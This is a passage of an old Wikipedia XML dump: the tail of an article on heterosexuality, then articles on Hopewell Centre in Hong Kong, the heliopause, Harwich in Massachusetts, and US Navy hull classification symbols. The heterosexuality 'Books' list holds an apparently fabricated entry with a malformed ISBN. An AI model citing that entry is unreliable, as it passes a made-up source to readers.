The history of heterosexuality is part of the [[History of sexuality|history of sexuality]].  That history and science derivative of it is far from complete.  Owing to complications of human politics and prejudice, coupled with the maleable nature of human behaviour, it will be some time before the history and nature of all forms of human sexual behaviour are truly known.

==Psychological factors relating to sexuality==
''Main article'': [[Sexual orientation]]

A broad array of opinion holds that much human behavior ultimately is explainable in terms of [[natural selection]]. From this point of view, the shifting social balance between heterosexual and homosexual desire has evolved as a fitter survival strategy for the species than either an exclusively heterosexual or homosexual configuration of desire.

In traditional societies individuals are often under heavy social pressure to marry and have children, irrespective of their sexual orientation. In modern society, many homosexual people who wish to have children have found a way to satisfy their nurturing instincts, either through fostering or adopting children, or through [[Artificial insemination|artificial]] or [[sexual intercourse|natural insemination]]. 

Not all people who are attracted to, or have sexual relationships with members of the opposite sex identify themselves as heterosexual: people who do not identify primarily as heterosexual may sometimes engage in heterosexual behaviour. Similarly, some people frequently have sex with members of the same sex yet still see themselves as heterosexual. (See ''bisexuality'')

According to [[American Psychiatric Association]] (APA), there are numerous theories about the origins of a person's sexual orientation, but some believe that &quot;sexual orientation is most likely the result of a complex interaction of environmental, cognitive and biological factors&quot;, and that genetic factors play a &quot;significant role&quot; in determining a person's sexuality.[[Heterosexuality#References|&lt;nowiki&gt;[5]&lt;/nowiki&gt;]] The APA currently officially states that sexual orientation is not chosen and cannot be changed, a radical reversal from the recent past, when non-normative sexuality was considered a deviancy or mental ailment treatable through institutionalization or other radical means.

==Slang==
The term &quot;''straight''&quot; is a mid-20th century [[gay slang]] term for heterosexuals, ultimately coming from the phrase &quot;''to go straight''&quot; (as in &quot;straight and narrow&quot;), or stop being gay [[Heterosexuality#References|&lt;nowiki&gt;[3]&lt;/nowiki&gt;]]. One of the first uses of the word in this way was in [[1941]] by author [[G. W. Henry]]. Henry's book concerned conversations with homosexual males and used this term in connection with the reference to ''[[ex-gay]]s''. Though not originally intended to refer to heterosexuals, like the meanings of many words, its primary usage has changed over time.

The term ''breeder'', a word which is [[Animal husbandry|normally applied to non-human animals]], is sometimes used as an offensive slur to describe heterosexuals.

==References==

# &quot;''[http://www.hyperdictionary.com/dictionary/heterosexualism  Heterosexualism]''&quot;. [[Dictionary#List of online dictionaries|HyperDictionary]].com, Webnox Corp. (Cited February 13, 2004)
# Wikholm, Andrew, &quot;''[http://www.gayhistory.com/rev2/words/heterosexual.htm Words: Heterosexual]''&quot;. Gay History.com. (Cited February 14, 2004)
# &quot;''[http://www.bbc.co.uk/dna/h2g2/A412570 Straight, Ex-gay]''&quot;. Descriptors for Sexual Minorities. [http://www.bbc.co.uk/cult/hitchhikers/ The Hitchhiker's Guide to the Galaxy], [[H2G2]]. [[BBC]]. (Cited February 14, 2004)
# &quot;''[http://www.apa.org/pubinfo/answers.html Answers to Your Questions About Sexual Orientation and Homosexuality]''&quot; [[American Psychiatric Association]]. (Cited February 9, 2004)
# &quot;''[http://www.worldsexexplorer.com/heterosexual-sex.html Heterosexual Sex]''&quot;. World Sex Explorer. (Cited February 14, 2004)
# Katz, Jonathan Ned (1995) ''The Invention of Heterosexuality''. NY, NY: Dutton (Penguin Books). ISBN 0525938451.

==See also==
* [[Heteronormativity]]
* [[Sexual orientation]]
** [[Bisexuality]]
** [[Demographics of sexual orientation]]
** [[Environment, choice, and sexual orientation]]
** [[Genetics and sexual orientation]]
** [[Homosexuality]]
** [[:Category:Sexual orientation and society]]
** [[:Category:Ex-gay movement]]
** [[:Category:LGBT]]

* [[Human sexuality]]
** [[Critiques of sexual behavior]]
** [[:Category:Sexuality]]
** [[:Category:Sexology]]
** [[:Category:Marriage]]
** [[:Category:Sexual fidelity]]
** [[:Category:Group sex]]
** [[:Category:Intimate relationships]] (dating, courtship, etc.)

==Books==

* Kinsey, Alfred C., et al., &quot;''Sexual Behavior in the Human Male''&quot;. Indiana University Press. ISBN 0253334128 
* Kinsey, Alfred C., et al., &quot;''Sexual Behavior in the Human Female''&quot;. Indiana University Press. ISBN 025333411X
* Musser, Trevor J., a well known heterosexual wrote &quot;Loving women&quot;. Ohio University Press. ISBN 12243637134

==External links==
* Keel, Robert O., &quot;''[http://www.umsl.edu/~rkeel/200/hetsex.html Heterosexual Deviance]''&quot;. (Goode, 1994, chapter 8, and Chapter 9, 6th edition, 2001.) Sociology of Deviant Behavior: FS 2003, University of Missouri - St. Louis. 
* &quot;''[http://www.yaledailynews.com/article.asp?AID=24682 Heterosexual partner rights raise questions]''&quot;. The News' View, Yale Daily News Publishing Company. [[January 27]], [[2004]].
* Coleman, Thomas F., &quot;''[http://www.unmarriedamerica.org/dp-wrong.html What's Wrong with Excluding Heterosexual Couples from Domestic Partner Benefits Programs]?''&quot;.  [http://www.unmarriedamerica.org/ Unmarried America], American Association for Single People.
* &quot;''[http://male101.com/heterosexuality.html Confidential Heterosexuality]''&quot;. Heterosexual Experience Stories. Raw Psychology Productions.

[[Category:Sexual orientation]]
[[Category:Sexual orientation and identity]]

[[ar:مغايرة]]
[[cs:Heterosexualita]]
[[de:Heterosexualität]]
[[fr:Hétérosexualité]]
[[gd:Comhair-mhiannachd]]
[[he:הטרוסקסואליות]]
[[ja:異性愛]]
[[nl:Heteroseksualiteit]]
[[pl:Heteroseksualizm]]
[[pt:Heterossexualidade]]
[[ro:Heterosexualitate]]
[[ru:Гетеросексуальность]]
[[simple:Heterosexual]]
[[fi:Heteroseksuaalisuus]]
[[sv:Heterosexualitet]]
[[tr:Heteroseksüel]]
[[zh:异性恋]]</text>
    </revision>
  </page>
  <page>
    <title>Hopewell Centre, Hong Kong</title>
    <id>14086</id>
    <revision>
      <id>39308605</id>
      <timestamp>2006-02-12T06:20:44Z</timestamp>
      <contributor>
        <username>Gsblo</username>
        <id>324458</id>
      </contributor>
      <text xml:space="preserve">[[Image:HKHopewellCentre.jpg|thumb|right|200px|Hopewell Centre with the ruins of an old mansion in the foreground.]]
'''Hopewell Centre''' (合和中心) is a [[skyscraper]] in [[Hong Kong]]. It is located at 183 [[Queen's Road]] East, in [[Wan Chai]] on [[Hong Kong Island]].  It is the first circular skycraper in Hong Kong.

The 64-storey building is 216 metres tall. Construction started in [[1977]] and was completed in [[1980]]. Upon completion, Hopewell Centre replaced [[Jardine House]] as Hong Kong's tallest building. It was also the second tallest building in Asia. It kept its title in Hong Kong until [[1989]], when the [[Bank of China Tower]] was completed.

The building uses a circular [[floor plan]]. Although the front entrance is on the 'ground floor', commuters are taken through a set of escalators to the 3rd floor elevator lobby. Hopewell Center stands on the slope of a hill so steep that the building has its back entrance on the 17th floor towards [[Kennedy Road, Hong Kong|Kennedy Road]]. There is a circular private swimming pool on the roof of the building.

A [[revolving restaurant]] located on the 62nd floor, called [http://www.r66.com.hk/main.html Revolving 66 (aka R66)], overlooks other tall buildings below and [[Victoria Harbour|the harbour]]. It was originally called Revolving 62, but soon  changed its name as locals kept calling it Revolving 66. It serves a buffet lunch for [[Hong Kong dollar|HK$]]168 (as of 2000) and rotates once per hour. Passengers take either office elevators (faster) or the scenic elevators (with a view) to the 56/F, where they transfer to smaller elevators up to the 62/F.

The building comprises of several groups of elevators manufactured and maintained by Schindler Elevator Corporation. Lobbies are on the 3rd and 17th floor, and are connected to Queen's Road East and Kennedy Road respectively. A mini-skylobby is on the 56th floor and serves as a transfer floor for eaters heading to the 60/F and 62/F restaurants. Hopewell head Wu Ying Sheung has his office on the top floor.

The building's white 'bumps' between the windows have built in window-washer guide rails.

This skyscraper was the filming location for R&amp;B group [[Dru Hill]]'s music video for &quot;How Deep Is Your Love,&quot; directed by [[Brett Ratner]], who also directed the movie [[Rush Hour]], whose soundtrack features the song.

==Access==
* [[MTR]] [[Wan Chai (MTR)|Wan Chai Station]] Exit A3, followed by a 5-10 minute walk south through the Wan Chai market.

==See also==
* [[Hopewell Holdings Ltd]]
* [[Central Plaza, Hong Kong]]
* [[The Center, Hong Kong]]
* [[List of buildings and structures in Hong Kong]]

==External links==
* [http://skyscraperpage.com/cities/?buildingID=244 Description at skyscraperpage.com]
* [http://www.emporis.com/en/wm/bu/?id=121026 Description at emporis.com]
* [http://maps.google.com/maps?q=Hong+Kong&amp;ll=22.274761,114.171295&amp;spn=0.003575,0.005667&amp;t=k&amp;hl=en Satellite view of the site]

[[Category:Skyscrapers in Hong Kong]]
[[category:Wan Chai]]

[[zh:合和中心]]</text>
    </revision>
  </page>
  <page>
    <title>Heliopause</title>
    <id>14087</id>
    <revision>
      <id>41269017</id>
      <timestamp>2006-02-26T04:45:50Z</timestamp>
      <contributor>
        <username>MattKingston</username>
        <id>78102</id>
      </contributor>
      <minor />
      <comment>when things release energy, they cool down.</comment>
      <text xml:space="preserve">[[Image:Heliopause diagram.png|right|thumb|300px|The '''heliopause''' is the boundary between the [[heliosphere]] and the [[interstellar medium]] outside the [[solar system]]. As the solar wind approaches the heliopause, it slows suddenly, forming a [[shock wave]].]]
[[Image:72408main ACD97-0036-1.jpg|thumb|right|300px|Voyager 1 &amp; 2 and Pioneer 10  &amp; 11 approaching the [[heliosheath]]]]

In [[astronomy]], the '''heliopause''' is the boundary where the [[Sun]]'s [[solar wind]] is stopped by the [[interstellar medium]].

The [[solar wind]] blows a &quot;bubble&quot; known as the [[heliosphere]] in the [[interstellar medium]] (the rarefied hydrogen and helium gas that permeates the [[galaxy]]). The outer border of this &quot;bubble&quot; is where the solar wind's strength is no longer great enough to push back the interstellar medium. This is known as the heliopause, and is often considered to be the outer border of the [[solar system]].

Inside the heliopause is a boundary called the &quot;[[termination shock]]&quot; where [[supersonic]] solar wind particles are slowed to subsonic speeds by the interstellar medium. The layer between the termination shock and the heliopause is known as the [[heliosheath]].

Outside the heliopause, the interaction between the interstellar medium and the heliopause produces the [[bow shock]], a turbulent region in front of the Sun's progress through the interstellar medium.

The distance to the heliopause is not precisely known. It is probably much smaller on the side of the solar system facing the orbital motion through the galaxy. It may also vary depending on the current velocity of the solar wind and the local density of the interstellar medium. It is known to lie far outside the orbit of [[Pluto (planet)|Pluto]]. The current mission of the [[Voyager 1]] and [[Voyager 2|2]] spacecraft is to find and study the termination shock, heliosheath, and heliopause. On [[May 24]], [[2005]] [[NASA]] announced consensus that Voyager 1 had passed the termination shock and is now in the heliosheath, with the possibility of reaching the heliopause.

When particles emitted by the sun bump into the interstellar ones, they slow down while releasing energy. Many particles accumulate in and around the heliopause, highly energised by their negative acceleration, creating a shock wave.

An alternative definition is that the heliopause is the [[magnetopause]] between the solar system's [[magnetosphere]] and the galaxy's plasma currents.

==Notes==
# {{note|NASA|1}} NASA. [[May 24]], [[2005]]. ''[http://www.nasa.gov/vision/universe/solarsystem/voyager_agu.html Voyager Enters Solar System's Final Frontier]''. Retrieved May 25, 2005.

== See also ==

* [[Bow shock]]
* [[Termination_shock|Termination Shock]]
* [[Solar flare]]
* [[Heliosheath]]
* [[Voyager I]]
* [[Voyager_program|Voyager Program]]
* [[Magnetopause]]
* [[Magnetosphere]]

== External links ==
* NASA: http://voyager.jpl.nasa.gov/mission/interstellar.html
* [http://www.uiowa.edu/~ournews/2003/december/120803gurnett.html Univ. of Iowa Press release] -- [[December 8]], 2003 
* http://www.universetoday.com/am/publish/size_of_heliopause.html

[[Category:Sun]]
[[Category:Space plasmas]]

[[de:Heliopause]]
[[es:Heliopausa]]
[[fr:Héliopause]]
[[ko:태양권계면]]
[[it:Eliopausa]]
[[nl:Heliopauze]]</text>
    </revision>
  </page>
  <page>
    <title>Harwich, Massachusetts</title>
    <id>14089</id>
    <revision>
      <id>28482847</id>
      <timestamp>2005-11-16T06:53:31Z</timestamp>
      <contributor>
        <ip>129.82.91.244</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Harwich,_MA_Seal.jpg|thumb|right|150px|''Seal of Harwich, MA'']]
'''Harwich''' is a town on [[Cape Cod]], in [[Barnstable County, Massachusetts|Barnstable County]] in the state of [[Massachusetts]] in the [[United States]]. The town is a popular vacation spot, located near the [[Cape Cod National Seashore]]. Harwich's beaches are on &quot;the Sound side&quot; of Cape Cod; the shores that face [[Nantucket Sound]]. Harwich has 3 active harbors.  Saquatucket, Wychmere and Allen Harbors are all located in [[Harwich Port, Massachusetts|Harwich Port]].

The town is know for its many [[cranberry]] salt bogs, which produce cranberries that are commercially farmed. Harwich also contains the largest lake on the Cape, called Long Pond, which serves as a private airport for planes with the ability to land on water.

For geographic and demographic information on specific parts of the town of Harwich, please see the articles on [[East Harwich, Massachusetts|East Harwich]], [[Harwich Center, Massachusetts|Harwich Center]], [[Harwich Port, Massachusetts|Harwich Port]], [[North Harwich, Massachusetts|North Harwich]] and [[Northwest Harwich, Massachusetts|West Harwich]].

== History ==
Harwich was first settled in [[1670]] and was officially incorporated in [[1694]]. 

== Geography ==
[[Image:harwich_ma_highlight.png|300px|right]]
According to the [[United States Census Bureau]], the town has a total area of 85.9 [[square kilometre|km&amp;sup2;]] (33.2 [[square mile|mi&amp;sup2;]]).  54.5 km&amp;sup2; (21.0 mi&amp;sup2;) of it is land and 31.4 km&amp;sup2; (12.1 mi&amp;sup2;) of it is water.  The total area is 36.53% water.

== Demographics ==
As of the [[census]][[Geographic references#2|&lt;sup&gt;2&lt;/sup&gt;]] of [[2000]], there are 12,386 people, 5,471 households, and 3,545 families residing in the town.  The [[population density]] is 227.3/km&amp;sup2; (588.6/mi&amp;sup2;).  There are 9,450 housing units at an average density of 173.4/km&amp;sup2; (449.1/mi&amp;sup2;).  The racial makeup of the town is 95.41% [[White (U.S. Census)|White]], 0.71% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.19% [[Native American (U.S. Census)|Native American]], 0.22% [[Asian (U.S. Census)|Asian]], 0.05% [[Pacific Islander (U.S. Census)|Pacific Islander]], 2.03% from [[Race (U.S. Census)|other races]], and 1.40% from two or more races.  0.96% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 5,471 households out of which 21.3% have children under the age of 18 living with them, 53.4% are [[Marriage|married couples]] living together, 9.0% have a female householder with no husband present, and 35.2% are non-families. 29.8% of all households are made up of individuals and 16.9% have someone living alone who is 65 years of age or older.  The average household size is 2.20 and the average family size is 2.72.

In the town the population is spread out with 18.3% under the age of 18, 4.2% from 18 to 24, 22.1% from 25 to 44, 25.8% from 45 to 64, and 29.6% who are 65 years of age or older.  The median age is 49 years.  For every 100 females there are 84.5 males.  For every 100 females age 18 and over, there are 79.7 males.

The median income for a household in the town is $41,552, and the median income for a family is $51,070. Males have a median income of $38,948 versus $27,439 for females. The [[per capita income]] for the town is $23,063.  5.5% of the population and 2.9% of families are below the [[poverty line]].  Out of the total population, 8.4% of those under the age of 18 and 4.1% of those 65 and older are living below the poverty line.

== External links ==
*[http://harwichma.virtualtownhall.net/ Harwich official website]
*[http://www.GoHarwich.com/ Harwich, Cape Cod's Online Guide]
*[http://www.harwich.edu/ Harwich Public Schools]
*[http://homepage.mac.com/mooncusser/PhotoAlbum2.html  Photos and Video of Weir Fishing in Harwich, MA]

[[Category:Towns in Massachusetts]][[Category:Barnstable County, Massachusetts]]

{{Massachusetts}}</text>
    </revision>
  </page>
  <page>
    <title>Hull classification symbol</title>
    <id>14090</id>
    <revision>
      <id>41795266</id>
      <timestamp>2006-03-01T20:26:17Z</timestamp>
      <contributor>
        <ip>138.163.0.42</ip>
      </contributor>
      <comment>/* Aircraft Carrier Type */</comment>
      <text xml:space="preserve">The [[United States Navy]] uses '''hull classification symbols''' (sometimes called '''hull codes''') to identify the types of its ships.  See also [[pennant number]], a somewhat analogous system used by the [[Royal Navy]] and some European navies.

The combination of symbol and hull number identify a modern Navy ship uniquely.    A heavily modified or repurposed ship may receive a new symbol, and either retain the hull number or receive a new one.  Also, the system of symbols has changed a number of times since it was introduced in [[1907]], so ships' symbols sometimes change without anything being done to the physical ship.

Many of these symbols listed here are not presently in use. The [[Naval Vessel Register]] maintains an online database of US Navy ships.

The [[United States Navy 1975 ship reclassification|1975 ship reclassification]] of cruisers, frigates, and ocean escorts brought US Navy classifications into line with other nations' classifications, and eliminated the perceived &quot;cruiser gap&quot; with the [[Soviet Navy]].

If a ship's hull classification symbol has &quot;T-&quot; preceding it, that symbolizes that it is a ship of the [[Military Sealift Command]], with a primarily civilian crew.

== Warships ==
Warships are designed to participate in combat operations.

=== Aircraft Carrier Type ===
All ships designed primarily for the purpose of conducting combat operations by [[aircraft]] which engage in attacks against airborne, surface, sub-surface and shore targets.  The &quot;CV&quot; designation was originally derived from cruisers, since aircraft carriers were seen as an extension of the sea control and denial mission of cruisers.  The &quot;V&quot; designation for heavier than air craft comes from the [[French language|French]] verb &quot;''Volare''&quot; (to fly).  Since 1935, &quot;CV&quot; has been a two-letter, unitary hull classification symbol, meaning &quot;aircraft carrier.&quot;  Aircraft carriers are designated in two sequences: The first, which has run from CV-1 USS ''Langley'' to the very latest ships, and the second, the CVE escort carrier sequence, ran from CVE-1 ''Long Island'' to CVE-128 ''Okinawa'' before being discontinued.

*AVG Auxiliary Aircraft Ferry (Escort carrier) (1941-2)
*ACV Auxiliary Aircraft Carrier (Escort carrier) (1942)
*CV Multi-purpose [[Aircraft Carrier]]
*CVA Attack Aircraft Carrier (category merged into CV, 1975)
*CVAN Attack Aircraft Carrier, Nuclear (all CVA and CVAN changed to CV on 30 June 1975) 
*CVB Large Aircraft Carrier (category merged into CVA, 1952)
*CVE [[Escort aircraft carrier]] (retired) (1943-retirement of type)
*CVHA Assault Helicopter Aircraft Carrier (retired in favor of various L-series [[amphibious assault ship]] hull codes)
*CVHE Escort Helicopter Aircraft Carrier (retired)
*CVL [[Light aircraft carrier]] (retired)
*CVN Multi-purpose Aircraft Carrier (Nuclear-Propulsion)
*CVS Antisubmarine Aircraft Carrier (retired)
*CVT Training Aircraft Carrier (changed to AVT (Auxiliary))
*CVU Utility Aircraft Carrier (retired)

=== Surface Combatant Type ===
Surface ships which are designed primarily to engage enemy forces on the high seas.  The primary surface combatants are battleships, cruisers and destroyers.  Battleships are very heavily armed and armored; cruisers moderately so; destroyers and smaller warships , less so.  Before 1920, ships were called &quot;&lt;type&gt; no. X,&quot; with the type fully pronounced.  The types were commonly abbreviated in ship lists to &quot;B-X,&quot; &quot;C-X,&quot; &quot;D-X&quot; et cetera - for example, before 1920, [[USS Minnesota (BB-22)]] would have been called &quot;USS ''Minnesota'', Battleship number 22&quot; verbally and &quot;USS ''Minnesota'', B-22&quot; in writing.  After 1920, the ship's name would have been both written and pronounced &quot;USS ''Minnesota'' (BB-22)&quot; In generally decreasing size, the types are:

*B [[Battleship]] (pre-1920)
*BB [[Battleship]]
*BBG Guided Missile Battleship (theoretical only, never assigned)
*BM [[Monitor (ship)|Monitor]] (1920-retirement)

*ACR Armored Cruiser (pre-1920)
*C [[Cruiser]] (pre-1920 Protected Cruisers and Peace Cruisers)
*CA (first series) Cruiser (retired, composed all surviving pre-1920 Protected and Peace Cruisers)
*CA (second series) [[Heavy Cruiser]], category later renamed Gun Cruiser (retired)
*CAG Guided Missile Heavy Cruiser (retired)
*CB [[Large Cruiser]] (retired)
*CBC Large Command Cruiser (retired, never used operationally)
*CC [[Battlecruiser]] (retired, never used operationally)
*CC (second usage) Command Cruiser (retired)
*CG Guided Missile Cruiser                        
*CGN Guided Missile Cruiser (Nuclear-Propulsion)
*CL [[Light Cruiser]] (retired)
*CLAA Antiaircraft Cruiser (retired)
*CLG Guided Missile Light Cruiser (retired)
*CLGN Guided Missile Light Cruiser (Nuclear-Propulsion) (retired)
*CLK Hunter-Killer Cruiser (abolished 1951)
*CS Scout Cruiser (retired)
*CSGN [[Strike Cruiser]]

*D Destroyer (pre-1920)
*DD [[Destroyer]]
*DDE Escort Destroyer (not to be confused with Destroyer Escort, DE - an Escort Destroyer, DDE, was a Destroyer, DD, converted for antisubmarine warfare) (category abolished 1962)
*DDG Guided Missile Destroyer
*DDK Hunter-Killer Destroyer (category merged into DDE, [[4 March]] [[1950]])
*DDR Radar Picket Destroyer (retired)
*DE [[Destroyer escort|Destroyer Escort]] (World War II, later became Ocean Escort)
*DE Ocean Escort (abolished [[30 June]] [[1975]])
*DEG Guided Missile Ocean Escort (abolished [[30 June]] [[1975]])
*DER Radar Picket Destroyer Escort (abolished [[30 June]] [[1975]])

A word about the DE type symbol is in order here.  There were two distinct breeds of DE, the World War II Destroyer Escorts (some of which were converted to DERs) and the postwar DE/DEG classes, which were known as Ocean Escorts despite carrying the same type symbol as the WWII Destroyer Escorts.  All DEs, DEGs, and DERs were reclassified as FFs, FFGs, or FFRs, [[30 June]] [[1975]].

*DL Destroyer Leader (later Frigate) (retired)
*DLG Guided Missile Frigate (abolished [[30 June]] [[1975]])
*DLGN Guided Missile Frigate (Nuclear-Propulsion) (abolished [[30 June]] [[1975]])

The DL category was established in 1951 with the abolition of the CLK category.  CLK 1 became DL 1 and DD 927-930 became DL 2-5.  By the mid-1950s the term Destroyer Leader had been dropped in favor of Frigate.  Most DLGs and DLGNs were reclassified as CGs and CGNs, [[30 June]] [[1975]].  However, DLG 6-15 became DDG 37-46.  The old DLs were already gone by that time.

*DM Destroyer Minelayer (retired)

*FF [[Frigate]] (retired)
*FFG Guided Missile Frigate
*FFR Radar Picket Frigate (retired)
*FFT Frigate (Reserve Training) (retired)

The FF, FFG, and FFR designations were established [[30 June]] [[1975]] as new type symbols for ex-DEs, DEGs, and DERs.  The first new-build ships to carry the FF/FFG designation were the [[Oliver Hazard Perry class frigate|''Oliver Hazard Perry'' (FFG-7) class frigates]].  A new series of frigate-size warships for shallow-water combat at expense of battlegroup performance is under production:

*K [[Corvette]] (retired]

*LCS [[Littoral Combat Ship]]

*M Monitor (1880s-1920)


Note that this list is from a United States Navy perspective. Frigate and Corvette designations are used in other navies.

=== Submarine type ===
All self-propelled submersible types regardless of whether employed as combatant, auxiliary, or research and development vehicles which have at least a residual combat capability.

*SC Cruiser Submarine (retired)
*SF Fleet [[Submarine]] (retired)
*SM Submarine Minelayer (retired)
*SS [[Submarine]] (none in commission)
*SSA Cargo Submarine (retired)
*SSK Hunter-Killer Submarine (retired)
*SSN [[Attack submarine|Attack Submarine]] (Nuclear-Powered)
*SSBN [[Ballistic missile submarine|Ballistic Missile Submarine]] (Nuclear-Powered)
*SSG Guided Missile Submarine (retired)
*SSGN Guided Missile Submarine (Nuclear-Powered)
*SSO Submarine Oiler (retired)
*SSP Submarine Transport (retired)
*SSR Radar Picket Submarine (retired)
*SSRN Radar Picket Submarine (Nuclear-Powered) (retired)
*SST Training Submarine (retired)

There have been several other submarine designations which did not begin with SS, included here for completeness:

*AGSS Auxiliary Submarine
*AOSS Submarine Oiler (retired)
*ASSP Transport Submarine (retired)
*APSS Transport Submarine (retired)
*LPSS Amphibious Transport Submarine (retired)
(Note: SSP, ASSP, APSS, and LPSS were all the same type, redesignated over the years.)
*IXSS Unclassified Miscellaneous Submarine

=== Patrol Combatant Type ===
Combatants whose mission may extend beyond coastal duties and whose characteristics include adequate endurance and sea keeping providing a capability for operations exceeding 48 hours on the high seas without support.  Few in service today.

*PC Coastal Patrol, originally Sub Chaser
*PCF Vietnam Swift Boat
*PE Eagle Boat of [[World War I]]
*PF World War II Frigate, Based on British [[River class frigates|River class]].
**PFG Original designation of [[USS Oliver Hazard Perry (FFG-7)|USS ''Oliver Hazard Perry'' (FFG-7)]]
*PG Gunboat, later [[Patrol combatant]]                       
*[[PT Boat|PT]] Motor Torpedo Boat (World War II)
*PGH Patrol Combatant, Hydrofoil
*PHM Patrol, [[Hydrofoil]] Missile

=== Amphibious Warfare Type ===
All ships having organic capability for amphibious assault and which have characteristics enabling long duration operations on the high seas.  There are two classifications of craft here, the amhibious assault ships, built to cross oceans, and Landing Craft, to take men from the ship to the shore in an invasion.
'''Ships'''
*LHA [[Amphibious Assault Ship]] (General Purpose)
*LHD Amphibious Assault Ship (Multi-Purpose, i.e. added Landing Craft ability versus LHA)
*LPD [[Amphibious transport dock|Amphibious Transport, Dock]] (aka Landing Platform, Dock)
*LCC [[Amphibious Command Ship]]
*LKA Amphibious Cargo Ship (out of commission)
*LPA Landing Platform, Amphibious
*LPH [[Landing Platform, Helicopter]] (out of commission)
*LSD [[Dock Landing Ship|Landing Ship, Dock]]
*LSH Landing Ship, Heavy
*LSIL Landing Ship, Infantry (Large) (formerly LCIL)
**LCIL Landing Craft, Infantry (Large)
*LSL Landing Ship, Logistics
*LSM Landing Ship, Medium
*LSSL [[Landing ship support, large|Landing Ship, Support (Large)]] (formerly LCSL)
**LCSL Landing Craft, Support (Large)
*LST [[Tank landing ship|Landing Ship, Tank]]
*LSV [[Landing Ship Vehicle]]

'''Landing Craft'''
*LCAC [[Landing Craft]], Air Cushioned
*LCH Landing Craft, Heavy
*LCM Landing Craft, Mechanized
*LCU Landing Craft, Utility
*LCVP Landing Craft, Vehicle and Personnel
*LCT Landing Craft, Tank (World War II era)

=== Combat Logistics Type ===
Ships which have the capability to provide underway replenishment to fleet units.

*AC [[Collier]]
*AE [[Ammunition Ship]]
*AFS [[Combat Stores Ship]]
*AO Fleet [[Oiler (ship)|Oiler]]
*AOE [[Fast Combat Support Ship]]
*AOR [[Replenishment Oiler]]
*AW Distilling Ship

=== Mine Warfare Type ===
All ships whose primary function is mine warfare on the high seas.

*AM Minesweeper
*AMb Harbor Minesweeper
*AMc Coastal Minesweeper
*AMCU Underwater Mine Locater
*MSO [[Minesweeper (ship)|Minesweeper]] - Ocean
*MCM [[Mine Countermeasures Ship]]
*MCS [[Mine Countermeasures Support Ship]]
*MHC [[Minehunter]], Coastal
*MHI Mine Hunter Inshore

*CM Minelayer
*CMc Coastal Minelayer

*DM Destroyer Minelayer

=== Coastal Defense Type ===
All ships whose primary function is coastal patrol and interdiction.

*FS [[Corvette]]
*PB [[Patrol boat]]
*PC [[Patrol ship|Patrol]], Coastal
*PCE Patrol Escort
*PF [[Frigate]], in a role similar to World War II Commonwealth [[corvette]]s
*SP [[Shore patrol|Shore Patrol]]

=== Mobile Logistics Type ===
Ships which have the capability to provide direct material support to other deployed units operating far from home base.

*AD [[Destroyer Tender]]
*AGP [[Patrol Craft Tender]]
*AR [[Repair Ship]]
*AS [[Submarine tender]]
*AVP [[Seaplane Tender]]

===Auxiliary===

*AN [[Net laying ship|Net Laying Ship]]

== Support Ships ==
Support ships are not designed to participate in combat, and are generally not armed.

=== Support Type ===
A grouping of ships designed to operate in the open ocean in a variety of sea states to provide general support to either combatant forces or shore based establishments. (Includes smaller auxiliaries which by the nature of their duties, leave inshore waters).

*ACS Auxiliary [[Crane Ship]]
*AG Miscellaneous Auxiliary
*AGDE Testing Ocean Escort
*AGDS Deep Submergence Support Ship
*AGER [[Environmental Research Ship]]
*AGF Miscellaneous [[Command Ship]]
*[[USS Glover (AGFF-1098)|AGFF Testing Frigate]]
*AGM [[Missile Range Instrumentation Ship]]
*AGOR [[Oceanographic Research Ship]]
*AGOS [[Ocean Surveillance Ship]]
*AGS [[Surveying Ship]]
*AGSS Auxiliary Research Submarine
*AGTR [[Technical research ship]]
*AH [[Hospital ship]]
*AK [[Cargo Ship]]
*AKA Attack Cargo Ship
*AKR Vehicle Cargo Ship
*AKS [[Store Issue Ship]]
*AOG [[Gasoline Tanker]]
*AOT [[Transport Oiler]]
*AP [[Transport ship|Transport]]
*APA [[Attack Transport]]
*APD High Speed Transport
*ARC [[Cable Repair Ship]]
*ARL Small Repair Ship
*ARS [[Salvage Ship]]
*ASR [[Submarine Rescue Ship]]
*AT Ocean Going Tug
*ATA Auxiliary [[Ocean Tug]]
*ATF Fleet Ocean Tug
*ATS [[Salvage and Rescue Ship]]
*AVB Aviation Logistics Support Ship
*AVT Auxiliary Aircraft Landing Training Ship

=== Service Type Craft ===
A grouping of navy-subordinated craft (including non-self-propelled) designed to provide general support to either combatant forces or shore-based establishments.  The suffix &quot;N&quot; refers to non-self propelled variants.

*AB Crane Ship
*AFDB Large [[Auxiliary Floating Dry Dock]]
*AFDL Small Auxiliary Floating Dry Dock
*AFDM Medium Auxiliary Floating Dry Dock
*APB Self-Propelled Barracks Ship
*APL Barracks Craft
*ARD Auxiliary Repair Dry Dock
*ARDM Medium Auxiliary Repair Dry Dock
*ATA Auxiliary Ocean Tug
*DSRV [[Deep Submergence Rescue Vehicle]]
*DSV Deep Submergence Vehicle
*NR Submersible Research Vehicle
*YC [[Open Lighter]]
*YCF [[Car Float]]
*YCV Aircraft Transportation Lighter
*YD Floating [[Crane (machine)|Crane]]
*YDT Diving Tender
*YF [[Covered Lighter]]
*YFB [[Ferry Boat]] or Launch
*YFD Yard Floating Dry Dock
*YFN Covered Lighter (non-self propelled)
*YFNB Large Covered Lighter (non-self propelled)
*YFND Dry Dock Companion Craft (non-self propelled)
*YFNX Lighter (Special purpose) (non-self propelled)
*YFP Floating Power Barge
*YFR Refrigerated Cover Lighter
*YFRN Refrigerated Covered Lighter (non-self propelled)
*YFRT [[Range Tender]]
*YFU Harbor Utility Craft
*YG Garbage Lighter
*YGN Garbage Lighter (non-self propelled)
*YLC Salvage Lift Craft
*YM [[Dredge]]
*YMN [[Dredge]] (non-self propelled)
*YNG [[Gate Craft]]
*YNT [[Net Tender]]
*YO Fuel Oil [[Barge]]
*YOG Gasoline Barge
*YOGN Gasoline Barge (non-self propelled)
*YON Fuel Oil Barge (non-self propelled)
*YOS Oil Storage Barge
*YP Patrol Craft, Training
*YPD Floating Pile Driver
*YR Floating Workshop
*YRB Repair and Berthing Barge
*YRBM Repair, Berthing and Messing Barge
*YRDH Floating Dry Dock Workshop (Hull)
*YRDM Floating Dry Dock Workshop (Machine)
*YRR Radiological Repair Barge
*YRST Salvage Craft Tender
*YSD Seaplane Wrecking [[Derrick]]
*YSR Sludge Removal Barge
*YT Harbor Tug (craft later assigned YTB, YTM, or YTM classifications)
*YTB Large [[Harbor Tug]]
*YTL Small Harbor Tug
